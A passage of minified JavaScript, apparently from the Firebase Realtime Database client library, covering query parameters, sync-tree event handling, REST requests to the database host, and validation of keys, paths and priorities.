null!==n?null!==i?0==n-i?e.length-t.length:n-i:-1:null!==i?1:e<t?-1:1}function Tc(e,t){if(t&&e in t)return t[e];throw Error("Missing required key ("+e+") in object: "+B(t))}function Uc(e){if("object"!=typeof e||null===e)return B(e);var t,n=[];for(t in e)n.push(t);n.sort(),t="{";for(var i=0;i<n.length;i++)0!==i&&(t+=","),t+=B(n[i]),t+=":",t+=Uc(e[n[i]]);return t+"}"}function Vc(e,t){if(e.length<=t)return[e];for(var n=[],i=0;i<e.length;i+=t)i+t>e?n.push(e.substring(i,e.length)):n.push(e.substring(i,i+t));return n}function Wc(e,t){if(ea(e))for(var n=0;n<e.length;++n)t(n,e[n]);else r(e,t)}function Xc(e){var t,n,i,r;for(K(!Qc(e),"Invalid JSON number"),0===e?(i=n=0,t=-Infinity==1/e?1:0):(t=0>e,(e=Math.abs(e))>=Math.pow(2,-1022)?(n=(i=Math.min(Math.floor(Math.log(e)/Math.LN2),1023))+1023,i=Math.round(e*Math.pow(2,52-i)-Math.pow(2,52))):(n=0,i=Math.round(e/Math.pow(2,-1074)))),r=[],e=52;e;--e)r.push(i%2?1:0),i=Math.floor(i/2);for(e=11;e;--e)r.push(n%2?1:0),n=Math.floor(n/2);for(r.push(t?1:0),r.reverse(),t=r.join(""),n="",e=0;64>e;e+=8)1===(i=parseInt(t.substr(e,8),2).toString(16)).length&&(i="0"+i),n+=i;return n.toLowerCase()}function Sc(e){return Yc.test(e)&&(-2147483648<=(e=Number(e))&&2147483647>=e)?e:null}function Db(e){try{e()}catch(b){setTimeout(function(){throw O("Exception was thrown by user callback.",b.stack||""),b},Math.floor(0))}}function P(e){if(ha(e)){var t=Array.prototype.slice.call(arguments,1).slice();Db(function(){e.apply(null,t)})}}function Ic(e){for(var t=[],n=0,i=0;i<e.length;i++){var r=e.charCodeAt(i);55296<=r&&56319>=r&&(r-=55296,K(++i<e.length,"Surrogate pair missing trail surrogate."),r=65536+(r<<10)+(e.charCodeAt(i)-56320)),128>r?t[n++]=r:(2048>r?t[n++]=r>>6|192:(65536>r?t[n++]=r>>12|224:(t[n++]=r>>18|240,t[n++]=r>>12&63|128),t[n++]=r>>6&63|128),t[n++]=63&r|128)}return t}function Zc(e){for(var t=0,n=0;n<e.length;n++){var i=e.charCodeAt(n);128>i?t++:2048>i?t+=2:55296<=i&&56319>=i?(t+=4,n++):t+=3}return t}function $c(e){var t={},n={},i={},r="";try{var o=e.split(".");t=nb(Gc(o[0])||""),n=nb(Gc(o[1])||""),r=o[2],i=n.d||{};delete n.d}catch(h){}return{Zg:t,Bc:n,data:i,Qg:r}}function ad(e){return"object"==typeof(e=$c(e).Bc)&&e.hasOwnProperty("iat")?w(e,"iat"):null}function bd(e){var t=(e=$c(e)).Bc;return!!e.Qg&&!!t&&"object"==typeof t&&t.hasOwnProperty("iat")}function cd(e){this.W=e,this.g=e.n.g}function dd(e,t,n,i){var r=[],o=[];return Oa(t,function(t){"child_changed"===t.type&&e.g.Ad(t.Ke,t.Ja)&&o.push(new D("child_moved",t.Ja,t.Wa))}),ed(e,r,"child_removed",t,i,n),ed(e,r,"child_added",t,i,n),ed(e,r,"child_moved",o,i,n),ed(e,r,"child_changed",t,i,n),ed(e,r,Fb,t,i,n),r}function ed(e,t,n,i,r,o){Xa(i=Pa(i,function(e){return e.type===n}),q(e.hg,e)),Oa(i,function(n){var i=fd(e,n,o);Oa(r,function(r){r.Kf(n.type)&&t.push(r.createEvent(i,e.W))})})}function fd(e,t,n){return"value"!==t.type&&"child_removed"!==t.type&&(t.Qd=n.rf(t.Wa,t.Ja,e.g)),t}function gd(){this.bb={}}function hd(e,t){var n=t.type,i=t.Wa;K("child_added"==n||"child_changed"==n||"child_removed"==n,"Only child changes supported for tracking"),K(".priority"!==i,"Only non-priority child changes can be tracked.");var r=w(e.bb,i);if(r){var o=r.type;if("child_added"==n&&"child_removed"==o)e.bb[i]=new D("child_changed",t.Ja,i,r.Ja);else if("child_removed"==n&&"child_added"==o)delete e.bb[i];else if("child_removed"==n&&"child_changed"==o)e.bb[i]=new D("child_removed",r.Ke,i);else if("child_changed"==n&&"child_added"==o)e.bb[i]=new D("child_added",t.Ja,i);else{if("child_changed"!=n||"child_changed"!=o)throw Fc("Illegal combination of changes: "+t+" occurred after "+r);e.bb[i]=new D("child_changed",t.Ja,i,r.Ke)}}else e.bb[i]=t}function id(e,t,n){this.Rb=e,this.pb=t,this.rb=n||null}function jd(e,t,n){this.ha=e,this.pb=t,this.rb=n}function kd(e){this.g=e}function ld(e){var t;this.Be=new kd(e.g),this.g=e.g,e.ma?(t=md(e),t=e.g.Pc(nd(e),t)):t=e.g.Tc(),this.ed=t,e.pa?(t=od(e),e=e.g.Pc(pd(e),t)):e=e.g.Qc(),this.Gc=e}function qd(e){this.sa=new ld(e),this.g=e.g,K(e.ja,"Only valid if limit has been set"),this.ka=e.ka,this.Jb=!rd(e)}function sd(e,t,n,i,r,o){var a;if(e.Jb){var s=td(e.g);a=function(e,t){return s(t,e)}}else a=td(e.g);K(t.Db()==e.ka,"");var l=new F(n,i),c=e.Jb?ud(t,e.g):vd(t,e.g),u=e.sa.matches(l);if(t.Da(n)){var d=t.R(n);for(c=r.ye(e.g,c,e.Jb);null!=c&&(c.name==n||t.Da(c.name));)c=r.ye(e.g,c,e.Jb);return r=null==c?1:a(c,l),u&&!i.e()&&0<=r?(null!=o&&hd(o,new D("child_changed",i,n,d)),t.U(n,i)):(null!=o&&hd(o,new D("child_removed",d,n)),t=t.U(n,C),null!=c&&e.sa.matches(c)?(null!=o&&hd(o,new D("child_added",c.S,c.name)),t.U(c.name,c.S)):t)}return i.e()?t:u&&0<=a(c,l)?(null!=o&&(hd(o,new D("child_removed",c.S,c.name)),hd(o,new D("child_added",i,n))),t.U(n,i).U(c.name,C)):t}function wd(e,t){this.je=e,this.fg=t}function xd(e){this.V=e}function Hd(e,t,n,i,r,o){var a,s=t.O;if(null!=i.tc(n))return t;if(n.e())K(Ib(t.w()),"If change path is empty, we must have complete server data"),Jb(t.w())?(r=ub(t),i=i.yc(r instanceof R?r:C)):i=i.za(ub(t)),o=e.V.xa(t.O.j(),i,o);else{var l=E(n);if(".priority"==l)K(1==Kd(n),"Can't have a priority with additional path components"),o=s.j(),a=t.w().j(),o=null!=(i=i.ld(n,o,a))?e.V.ga(o,i):s.j();else{var c=H(n);sb(s,l)?(a=t.w().j(),i=null!=(i=i.ld(n,s.j(),a))?s.j().R(l).G(c,i):s.j().R(l)):i=i.xc(l,t.w()),o=null!=i?e.V.G(s.j(),l,i,c,r,o):s.j()}}return Fd(t,o,s.ea||n.e(),e.V.Na())}function Ad(e,t,n,i,r,o,a,s){var l=t.w();if(a=a?e.V:e.V.Wb(),n.e())i=a.xa(l.j(),i,null);else if(a.Na()&&!l.Ub)i=l.j().G(n,i),i=a.xa(l.j(),i,null);else{var c=E(n);if(!Kb(l,n)&&1<Kd(n))return t;var u=H(n);i=l.j().R(c).G(u,i),i=".priority"==c?a.ga(l.j(),i):a.G(l.j(),c,i,u,qb,null)}return l=l.ea||n.e(),Hd(e,t=new Id(t.O,new tb(i,l,a.Na())),n,r,new rb(r,t,o),s)}function yd(e,t,n,i,r,o,a){var s=t.O;if(r=new rb(r,t,o),n.e())e=Fd(t,a=e.V.xa(t.O.j(),i,a),!0,e.V.Na());else if(".priority"===(o=E(n)))e=Fd(t,a=e.V.ga(t.O.j(),i),s.ea,s.Ub);else{n=H(n);var l=s.j().R(o);if(!n.e()){var c=r.qf(o);i=null!=c?".priority"===Ld(n)&&c.Q(n.parent()).e()?c:c.G(n,i):C}l.ca(i)?e=t:e=Fd(t,a=e.V.G(s.j(),o,i,n,r,a),s.ea,e.V.Na())}return e}function Cd(e,t,n,i,r,o,a){var s=t;return Md(i,function(i,l){var c=n.u(i);sb(t.O,E(c))&&(s=yd(e,s,c,l,r,o,a))}),Md(i,function(i,l){var c=n.u(i);sb(t.O,E(c))||(s=yd(e,s,c,l,r,o,a))}),s}function Nd(e,t){return Md(t,function(t,n){e=e.G(t,n)}),e}function Dd(e,t,n,i,r,o,a,s){if(t.w().j().e()&&!Ib(t.w()))return t;var l=t;n=n.e()?i:Od(Pd,n,i);var c=t.w().j();return n.children.ia(function(n,i){if(c.Da(n)){var u=Nd(u=t.w().j().R(n),i);l=Ad(e,l,new L(n),u,r,o,a,s)}}),n.children.ia(function(n,i){var u=!sb(t.w(),n)&&null==i.value;c.Da(n)||u||(u=Nd(u=t.w().j().R(n),i),l=Ad(e,l,new L(n),u,r,o,a,s))}),l}function Gd(e,t,n,i,r,o,a){if(null!=r.tc(n))return t;var s=Jb(t.w()),l=t.w();if(null!=i.value){if(n.e()&&l.ea||Kb(l,n))return Ad(e,t,n,l.j().Q(n),r,o,s,a);if(n.e()){var c=Pd;return l.j().P(Qd,function(e,t){c=c.set(new L(e),t)}),Dd(e,t,n,c,r,o,s,a)}return t}return c=Pd,Md(i,function(e){var t=n.u(e);Kb(l,t)&&(c=c.set(e,l.j().Q(t)))}),Dd(e,t,n,c,r,o,s,a)}function Rd(){}function td(e){return q(e.compare,e)}function Ud(e){K(!e.e()&&".priority"!==E(e),"Can't create PathIndex with empty path or .priority key"),this.cc=e}function Wd(){}function Xd(){}function Yd(){}function ae(){this.Tb=this.pa=this.Lb=this.ma=this.ja=!1,this.ka=0,this.Nb="",this.ec=null,this.xb="",this.bc=null,this.vb="",this.g=N}function rd(e){return""===e.Nb?e.ma:"l"===e.Nb}function nd(e){return K(e.ma,"Only valid if start has been set"),e.ec}function md(e){return K(e.ma,"Only valid if start has been set"),e.Lb?e.xb:"[MIN_NAME]"}function pd(e){return K(e.pa,"Only valid if end has been set"),e.bc}function od(e){return K(e.pa,"Only valid if end has been set"),e.Tb?e.vb:"[MAX_NAME]"}function ce(e){var t=new ae;return t.ja=e.ja,t.ka=e.ka,t.ma=e.ma,t.ec=e.ec,t.Lb=e.Lb,t.xb=e.xb,t.pa=e.pa,t.bc=e.bc,t.Tb=e.Tb,t.vb=e.vb,t.g=e.g,t}function de(e,t){var n=ce(e);return n.g=t,n}function ee(e){var t={};if(e.ma&&(t.sp=e.ec,e.Lb&&(t.sn=e.xb)),e.pa&&(t.ep=e.bc,e.Tb&&(t.en=e.vb)),e.ja){t.l=e.ka;var n=e.Nb;""===n&&(n=rd(e)?"l":"r"),t.vf=n}return e.g!==N&&(t.i=e.g.toString()),t}function S(e){return!(e.ma||e.pa||e.ja)}function fe(e){return S(e)&&e.g==N}function ge(e){var t,n={};return fe(e)?n:(e.g===N?t="$priority":e.g===$d?t="$value":e.g===Qd?t="$key":(K(e.g instanceof Ud,"Unrecognized index type!"),t=e.g.toString()),n.orderBy=B(t),e.ma&&(n.startAt=B(e.ec),e.Lb&&(n.startAt+=","+B(e.xb))),e.pa&&(n.endAt=B(e.bc),e.Tb&&(n.endAt+=","+B(e.vb))),e.ja&&(rd(e)?n.limitToFirst=e.ka:n.limitToLast=e.ka),n)}function he(e,t){this.Bd=e,this.dc=t}function ie(e,t,n){return new he(na(e.Bd,function(i,r){var o=w(e.dc,r);if(K(o,"Missing index implementation for "+r),i===Sd){if(o.Ic(t.S)){for(var a=[],s=n.Xb(Tb),l=J(s);l;)l.name!=t.name&&a.push(l),l=J(s);return a.push(t),je(a,td(o))}return Sd}return a=i,(o=n.get(t.name))&&(a=a.remove(new F(t.name,o))),a.Oa(t,t.S)}),e.dc)}function ke(e,t,n){return new he(na(e.Bd,function(e){if(e===Sd)return e;var i=n.get(t.name);return i?e.remove(new F(t.name,i)):e}),e.dc)}function tc(e,t){this.B=e,K(n(this.B)&&null!==this.B,"LeafNode shouldn't be created with null/undefined value."),this.aa=t||C,me(this.aa),this.Cb=null}function R(e,t,n){this.m=e,(this.aa=t)&&me(this.aa),e.e()&&K(!this.aa||this.aa.e(),"An empty node cannot have a priority"),this.wb=n,this.Cb=null}function ud(e,t){var n;return(n=(n=qe(e,t))?(n=n.Sc())&&n.name:e.m.Sc())?new F(n,e.m.get(n)):null}function vd(e,t){var n;return(n=(n=qe(e,t))?(n=n.fc())&&n.name:e.m.fc())?new F(n,e.m.get(n)):null}function qe(e,t){return t===Qd?null:e.wb.get(t.toString())}function M(e,t){if(null===e)return C;var n=null;if("object"==typeof e&&".priority"in e?n=e[".priority"]:void 0!==t&&(n=t),K(null===n||"string"==typeof n||"number"==typeof n||"object"==typeof n&&".sv"in n,"Invalid priority type found: "+typeof n),"object"==typeof e&&".value"in e&&null!==e[".value"]&&(e=e[".value"]),"object"!=typeof e||".sv"in e)return new tc(e,M(n));if(e instanceof Array){var i=C,o=e;return r(o,function(e,t){if(v(o,t)&&"."!==t.substring(0,1)){var n=M(e);!n.K()&&n.e()||(i=i.U(t,n))}}),i.ga(M(n))}var a=[],s=!1,l=e;if(ib(l,function(e){if("string"!=typeof e||"."!==e.substring(0,1)){var t=M(l[e]);t.e()||(s=s||!t.C().e(),a.push(new F(e,t)))}}),0==a.length)return C;var c=je(a,Ub,function(e){return e.name},Wb);if(s){var u=je(a,td(N));return new R(c,M(n),new he({".priority":u},{".priority":N}))}return new R(c,M(n),le)}function se(e){this.count=parseInt(Math.log(e+1)/re,10),this.jf=this.count-1,this.eg=e+1&parseInt(Array(this.count+1).join("1"),2)}function te(e){var t=!(e.eg&1<<e.jf);return e.jf--,t}function je(e,t,n,i){function r(t,i){if(0==(a=i-t))return null;if(1==a){var o=e[t];return new fc(n?n(o):o,o.S,!1,null,null)}var a=r(t,o=parseInt(a/2,10)+t),s=r(o+1,i);o=e[o];return new fc(n?n(o):o,o.S,!1,a,s)}e.sort(t);var o=function(t){function i(t,i){var l=s-t,c=s;s-=t;c=r(l+1,c),l=e[l],c=new fc(n?n(l):l,l.S,i,null,c);o?o.left=c:a=c,o=c}for(var o=null,a=null,s=e.length,l=0;l<t.count;++l){var c=te(t),u=Math.pow(2,t.count-(l+1));c?i(u,!1):(i(u,!1),i(u,!0))}return a}(new se(e.length));return null!==o?new ac(i||t,o):new ac(i||t)}function oe(e){return"number"==typeof e?"number:"+Xc(e):"string:"+e}function me(e){if(e.K()){var t=e.I();K("string"==typeof t||"number"==typeof t||"object"==typeof t&&v(t,".sv"),"Priority must be a string or number.")}else K(e===Vd||e.e(),"priority of unexpected type.");K(e===Vd||e.C().e(),"Priority nodes can't have a priority of their own.")}function ue(){R.call(this,new ac(Wb),C,le)}function Id(e,t){this.O=e,this.Yd=t}function Fd(e,t,n,i){return new Id(new tb(t,n,i),e.Yd)}function Jd(e){return e.O.ea?e.O.j():null}function ub(e){return e.Yd.ea?e.Yd.j():null}function ve(e,t){this.W=e;var n=new kd((i=e.n).g),i=S(i)?new kd(i.g):i.ja?new qd(i):new ld(i);this.Hf=new xd(i);var r=t.w(),o=t.O,a=n.xa(C,r.j(),null),s=i.xa(C,o.j(),null);this.Ka=new Id(new tb(s,o.ea,i.Na()),new tb(a,r.ea,n.Na())),this.Xa=[],this.lg=new cd(e)}function we(e){return e.W}function ye(e,t){var n=e.Ka.O,i=[];return n.j().K()||n.j().P(N,function(e,t){i.push(new D("child_added",t,e))}),n.ea&&i.push(Eb(n.j())),xe(e,i,n.j(),t)}function xe(e,t,n,i){return dd(e.lg,t,n,i?[i]:e.Xa)}function ze(e,t,n){this.type=Bd,this.source=e,this.path=t,this.children=n}function Ae(e,t){this.f=Mc("p:rest:"),this.F=e,this.Gb=t,this.Aa=null,this.$={}}function Be(e,t){return n(t)?"tag$"+t:(K(fe(e.n),"should have a tag if it's not a default query."),e.path.toString())}function Ce(e,t,n,i){(n=n||{}).format="export",e.Aa&&(n.auth=e.Aa);var r=(e.F.kb?"https://":"http://")+e.F.host+t+"?"+kb(n);e.f("Sending REST request for "+r);var o=new XMLHttpRequest;o.onreadystatechange=function(){if(i&&4===o.readyState){e.f("REST Response for "+r+" received. status:",o.status,"response:",o.responseText);var t=null;if(200<=o.status&&300>o.status){try{t=nb(o.responseText)}catch(n){O("Failed to parse JSON response for "+r+": "+o.responseText)}i(null,t)}else 401!==o.status&&404!==o.status&&O("Got unsuccessful REST response for "+r+" Status: "+o.status),i(o.status);i=null}},o.open("GET",r,!0),o.send()}function De(e){K(ea(e)&&0<e.length,"Requires a non-empty array"),this.Xf=e,this.Oc={}}function Ee(e,t){K(Ta(e.Xf,function(e){return e===t}),"Unknown event: "+t)}function Ge(){if(De.call(this,["online"]),this.kc=!0,"undefined"!=typeof window&&"undefined"!=typeof window.addEventListener){var e=this;window.addEventListener("online",function(){e.kc||(e.kc=!0,e.fe("online",!0))},!1),window.addEventListener("offline",function(){e.kc&&(e.kc=!1,e.fe("online",!1))},!1)}}function He(){var e,t;if(De.call(this,["visible"]),"undefined"!=typeof document&&"undefined"!=typeof document.addEventListener&&("undefined"!=typeof document.hidden?(t="visibilitychange",e="hidden"):"undefined"!=typeof document.mozHidden?(t="mozvisibilitychange",e="mozHidden"):"undefined"!=typeof document.msHidden?(t="msvisibilitychange",e="msHidden"):"undefined"!=typeof document.webkitHidden&&(t="webkitvisibilitychange",e="webkitHidden")),this.Ob=!0,t){var n=this;document.addEventListener(t,function(){var t=!document[e];t!==n.Ob&&(n.Ob=t,n.fe("visible",t))},!1)}}function L(e,t){if(1==arguments.length){this.o=e.split("/");for(var n=0,i=0;i<this.o.length;i++)0<this.o[i].length&&(this.o[n]=this.o[i],n++);this.o.length=n,this.Z=0}else this.o=e,this.Z=t}function T(e,t){var n=E(e);if(null===n)return t;if(n===E(t))return T(H(e),H(t));throw Error("INTERNAL ERROR: innerPath ("+t+") is not within outerPath ("+e+")")}function Ie(e,t){for(var n=e.slice(),i=t.slice(),r=0;r<n.length&&r<i.length;r++){var o=Vb(n[r],i[r]);if(0!==o)return o}return n.length===i.length?0:n.length<i.length?-1:1}function E(e){return e.Z>=e.o.length?null:e.o[e.Z]}function Kd(e){return e.o.length-e.Z}function H(e){var t=e.Z;return t<e.o.length&&t++,new L(e.o,t)}function Ld(e){return e.Z<e.o.length?e.o[e.o.length-1]:null}function Je(e,t){this.Qa=e.slice(),this.Ha=Math.max(1,this.Qa.length),this.lf=t;for(var n=0;n<this.Qa.length;n++)this.Ha+=Zc(this.Qa[n]);Ke(this)}function Ke(e){if(768<e.Ha)throw Error(e.lf+"has a key path longer than 768 bytes ("+e.Ha+").");if(32<e.Qa.length)throw Error(e.lf+"path specified exceeds the maximum depth that can be written (32) or object contains a cycle "+Le(e))}function Le(e){return 0==e.Qa.length?"":"in property '"+e.Qa.join(".")+"'"}function Me(e,t){this.value=e,this.children=t||Ne}function Oe(e){var t=Pd;return r(e,function(e,n){t=t.set(new L(n),e)}),t}function Pe(e,t,n){if(null!=e.value&&n(e.value))return{path:G,value:e.value};if(t.e())return null;var i=E(t);return null!==(e=e.children.get(i))?null!=(t=Pe(e,H(t),n))?{path:new L(i).u(t.path),value:t.value}:null:null}function Qe(e,t){return Pe(e,t,function(){return!0})}function Od(e,t,n){if(t.e())return n;var i=E(t);return i=(t=Od(e.children.get(i)||Pd,H(t),n)).e()?e.children.remove(i):e.children.Oa(i,t),new Me(e.value,i)}function Re(e,t){return Se(e,G,t)}function Se(e,t,n){var i={};return e.children.ia(function(e,r){i[e]=Se(r,t.u(e),n)}),n(t,e.value,i)}function Te(e,t,n){return Ue(e,t,G,n)}function Ue(e,t,n,i){var r=!!e.value&&i(n,e.value);return r||(t.e()?null:(r=E(t),(e=e.children.get(r))?Ue(e,H(t),n.u(r),i):null))}function Ve(e,t,n){var i=G;if(!t.e()){var r=!0;e.value&&(r=n(i,e.value)),!0===r&&(r=E(t),(e=e.children.get(r))&&We(e,H(t),i.u(r),n))}}function We(e,t,n,i){if(t.e())return e;e.value&&i(n,e.value);var r=E(t);return(e=e.children.get(r))?We(e,H(t),n.u(r),i):Pd}function Md(e,t){Xe(e,G,t)}function Xe(e,t,n){e.children.ia(function(e,i){Xe(i,t.u(e),n)}),e.value&&n(t,e.value)}function Ye(e,t){e.children.ia(function(e,n){n.value&&t(e,n.value)})}function Ze(e,t,n){this.type=Ed,this.source=$e,this.path=e,this.Qb=t,this.Vd=n}function af(e,t,n,i){this.we=e,this.pf=t,this.Hb=n,this.af=i,K(!i||t,"Tagged queries must be from server.")}function cf(e){this.X=e}function ef(e,t,n){if(t.e())return new cf(new Me(n));if(null!=(r=Qe(e.X,t))){var i=r.path,r=r.value;return t=T(i,t),r=r.G(t,n),new cf(e.X.set(i,r))}return new cf(e=Od(e.X,t,new Me(n)))}function ff(e,t,n){var i=e;return ib(n,function(e,n){i=ef(i,t.u(e),n)}),i}function gf(e,t){var n=Qe(e.X,t);return null!=n?e.X.get(n.path).Q(T(n.path,t)):null}function hf(e){var t=[],n=e.X.value;return null!=n?n.K()||n.P(N,function(e,n){t.push(new F(e,n))}):e.X.children.ia(function(e,n){null!=n.value&&t.push(new F(e,n.value))}),t}function jf(e,t){if(t.e())return e;var n=gf(e,t) ;return new cf(null!=n?new Me(n):e.X.subtree(t))}function kf(e,t,n){if(null!=t.value)return n.G(e,t.value);var i=null;return t.children.ia(function(t,r){".priority"===t?(K(null!==r.value,"Priority writes must always be leaf nodes"),i=r.value):n=kf(e.u(t),r,n)}),n.Q(e).e()||null===i||(n=n.G(e.u(".priority"),i)),n}function lf(){this.T=df,this.na=[],this.Mc=-1}function mf(e,t){for(var n=0;n<e.na.length;n++){var i=e.na[n];if(i.kd===t)return i}return null}function nf(e,t){return e.Ga?e.path.contains(t):!!ua(e.children,function(n,i){return e.path.u(i).contains(t)})}function pf(e){return e.visible}function of(e,t,n){for(var i=df,r=0;r<e.length;++r){var o=e[r];if(t(o)){var a=o.path;if(o.Ga)n.contains(a)?i=ef(i,a=T(n,a),o.Ga):a.contains(n)&&(a=T(a,n),i=ef(i,G,o.Ga.Q(a)));else{if(!o.children)throw Fc("WriteRecord should have .snap or .children");n.contains(a)?i=ff(i,a=T(n,a),o.children):a.contains(n)&&((a=T(a,n)).e()?i=ff(i,G,o.children):(o=w(o.children,E(a)))&&(o=o.Q(H(a)),i=ef(i,G,o)))}}}return i}function qf(e,t){this.Mb=e,this.X=t}function rf(){this.ya={}}function tf(e){return Pa(ra(e.ya),function(e){return!S(e.W.n)})}function uf(e,t){if(S(t.n))return sf(e);var n=t.va();return w(e.ya,n)}function sf(e){return va(e.ya,function(e){return S(e.W.n)})||null}function vf(e){this.ta=Pd,this.ib=new lf,this.$e={},this.mc={},this.Nc=e}function wf(e,t,i,r,o){var a=e.ib,s=o;return K(r>a.Mc,"Stacking an older write on top of newer ones"),n(s)||(s=!0),a.na.push({path:t,Ga:i,kd:r,visible:s}),s&&(a.T=ef(a.T,t,i)),a.Mc=r,o?xf(e,new Xb($e,t,i)):[]}function yf(e,t,n,i){var r=e.ib;return K(i>r.Mc,"Stacking an older merge on top of newer ones"),r.na.push({path:t,children:n,kd:i,visible:!0}),r.T=ff(r.T,t,n),r.Mc=i,n=Oe(n),xf(e,new ze($e,t,n))}function zf(e,t,n){n=n||!1;var i=mf(e.ib,t);if(e.ib.Rd(t)){var r=Pd;return null!=i.Ga?r=r.set(G,!0):ib(i.children,function(e,t){r=r.set(new L(e),t)}),xf(e,new Ze(i.path,r,n))}return[]}function Af(e,t,n){return n=Oe(n),xf(e,new ze(bf,t,n))}function Bf(e,t,n,i){if(null!=(i=Cf(e,i))){var r=Df(i);return i=r.path,r=r.Hb,t=T(i,t),Ef(e,i,n=new Xb(new af(!1,!0,r,!0),t,n))}return[]}function Ff(e,t,n,i){if(i=Cf(e,i)){var r=Df(i);return i=r.path,r=r.Hb,t=T(i,t),n=Oe(n),Ef(e,i,n=new ze(new af(!1,!0,r,!0),t,n))}return[]}function Jf(e){return Re(e,function(e,t,n){if(t&&null!=sf(t))return[sf(t)];var i=[];return t&&(i=tf(t)),r(n,function(e){i=i.concat(e)}),i})}function Nf(e,t){for(var n=0;n<t.length;++n){if(!S((i=t[n]).n)){var i=Gf(i),r=e.mc[i];delete e.mc[i],delete e.$e["_"+r]}}}function Lf(e){return S(e.n)&&!fe(e.n)?e.Ib():e}function If(e,t,n){var i=t.path,o=Mf(e,t);if(n=Kf(e,n),t=e.Nc.Xe(Lf(t),o,n.xd,n.H),i=e.ta.subtree(i),o)K(null==sf(i.value),"If we're adding a query, it shouldn't be shadowed");else for(o=Re(i,function(e,t,n){if(!e.e()&&t&&null!=sf(t))return[we(sf(t))];var i=[];return t&&(i=i.concat(Qa(tf(t),function(e){return e.W}))),r(n,function(e){i=i.concat(e)}),i}),i=0;i<o.length;++i)n=o[i],e.Nc.ae(Lf(n),Mf(e,n));return t}function Kf(e,t){var n=t.W,i=Mf(e,n);return{xd:function(){return(t.w()||C).hash()},H:function(t){if("ok"===t){if(i){var r=n.path;if(t=Cf(e,i)){var o=Df(t);t=o.path,o=o.Hb,r=T(t,r),r=new Zb(new af(!1,!0,o,!0),r),t=Ef(e,t,r)}else t=[]}else t=xf(e,new Zb(bf,n.path));return t}return r="Unknown Error","too_big"===t?r="The data requested exceeds the maximum size that can be accessed with a single request.":"permission_denied"==t?r="Client doesn't have permission to access the desired data.":"unavailable"==t&&(r="The service is unavailable"),(r=Error(t+": "+r)).code=t.toUpperCase(),e.jb(n,null,r)}}}function Gf(e){return e.path.toString()+"$"+e.va()}function Df(e){var t=e.indexOf("$");return K(-1!==t&&t<e.length-1,"Bad queryKey."),{Hb:e.substr(t+1),path:new L(e.substr(0,t))}}function Cf(e,t){var n=e.$e,i="_"+t;return i in n?n[i]:void 0}function Mf(e,t){var n=Gf(t);return w(e.mc,n)}function Ef(e,t,n){var i=e.ta.get(t);return K(i,"Missing sync point for query tag that we're tracking"),i.ab(n,new qf(t,e.ib),null)}function xf(e,t){return Of(e,t,e.ta,null,new qf(G,e.ib))}function Of(e,t,n,i,r){if(t.path.e())return Pf(e,t,n,i,r);var o=n.get(G);null==i&&null!=o&&(i=o.fb(G));var a=[],s=E(t.path),l=t.Xc(s);if((n=n.children.get(s))&&l){var c=i?i.R(s):null;s=r.u(s),a=a.concat(Of(e,l,n,c,s))}return o&&(a=a.concat(o.ab(t,r,i))),a}function Pf(e,t,n,i,r){var o=n.get(G);null==i&&null!=o&&(i=o.fb(G));var a=[];return n.children.ia(function(n,o){var s=i?i.R(n):null,l=r.u(n),c=t.Xc(n);c&&(a=a.concat(Pf(e,c,o,s,l)))}),o&&(a=a.concat(o.ab(t,r,i))),a}function Qf(){this.children={},this.nd=0,this.value=null}function Rf(e,t,n){this.Gd=e||"",this.Zc=t||null,this.A=n||new Qf}function Sf(e,t){for(var n,i=t instanceof L?t:new L(t),r=e;null!==(n=E(i));)r=new Rf(n,r,w(r.A.children,n)||new Qf),i=H(i);return r}function Tf(e,t){K(void 0!==t,"Cannot set value to undefined"),e.A.value=t,Uf(e)}function Vf(e,t,n,i){n&&!i&&t(e),e.P(function(e){Vf(e,t,!0,i)}),n&&i&&t(e)}function Wf(e,t){for(var n=e.parent();null!==n&&!t(n);)n=n.parent()}function Uf(e){if(null!==e.Zc){var t=e.Zc,n=e.Gd,i=e.e(),r=v(t.A.children,n);i&&r?(delete t.A.children[n],t.A.nd--,Uf(t)):i||r||(t.A.children[n]=e.A,t.A.nd++,Uf(t))}}function $f(e){return p(e)&&0!==e.length&&!Xf.test(e)}function ag(e){return null===e||p(e)||ga(e)&&!Qc(e)||ia(e)&&v(e,".sv")}function bg(e,t,i,r){r&&!n(t)||cg(y(e,1,r),t,i)}function cg(e,t,i){if(i instanceof L&&(i=new Je(i,e)),!n(t))throw Error(e+"contains undefined "+Le(i));if(ha(t))throw Error(e+"contains a function "+Le(i)+" with contents: "+t.toString());if(Qc(t))throw Error(e+"contains "+t.toString()+" "+Le(i));if(p(t)&&t.length>10485760/3&&10485760<Zc(t))throw Error(e+"contains a string greater than 10485760 utf8 bytes "+Le(i)+" ('"+t.substring(0,50)+"...')");if(ia(t)){var r=!1,o=!1;if(ib(t,function(t,n){if(".value"===t)r=!0;else if(".priority"!==t&&".sv"!==t&&(o=!0,!$f(t)))throw Error(e+" contains an invalid key ("+t+") "+Le(i)+'. Keys must be non-empty strings and can\'t contain ".", "#", "$", "/", "[", or "]"');i.push(t),cg(e,n,i),i.pop()}),r&&o)throw Error(e+' contains ".value" child '+Le(i)+" in addition to actual children.")}}function dg(e,t){var n,i;for(n=0;n<t.length;n++)for(var r=(i=t[n]).slice(),o=0;o<r.length;o++)if((".priority"!==r[o]||o!==r.length-1)&&!$f(r[o]))throw Error(e+"contains an invalid key ("+r[o]+") in path "+i.toString()+'. Keys must be non-empty strings and can\'t contain ".", "#", "$", "/", "[", or "]"');for(t.sort(Ie),r=null,n=0;n<t.length;n++){if(i=t[n],null!==r&&r.contains(i))throw Error(e+"contains a path "+r.toString()+" that is ancestor of another path "+i.toString());r=i}}function eg(e,t,n){var i=y(e,1,!1);if(!ia(t)||ea(t))throw Error(i+" must be an object containing the children to replace.");var r=[];ib(t,function(e,t){var o=new L(e);if(cg(i,t,n.u(o)),".priority"===Ld(o)&&!ag(t))throw Error(i+"contains an invalid value for '"+o.toString()+"', which must be a valid Firebase priority (a string, finite number, server value, or null).");r.push(o)}),dg(i,r)}function fg(e,t,n){if(Qc(n))throw Error(y(e,t,!1)+"is "+n.toString()+", but must be a valid Firebase priority (a string, finite number, server value, or null).");if(!ag(n))throw Error(y(e,t,!1)+"must be a valid Firebase priority (a string, finite number, server value, or null).")}function gg(e,t,i){if(!i||n(t))switch(t){case"value":case"child_added":case"child_removed":case"child_changed":case"child_moved":break;default:throw Error(y(e,1,i)+'must be a valid event type: "value", "child_added", "child_removed", "child_changed", or "child_moved".')}}function hg(e,t){if(n(t)&&!$f(t))throw Error(y(e,2,!0)+'was an invalid key: "'+t+'". Firebase keys must be non-empty strings and can\'t contain ".", "#", "$", "/", "[", or 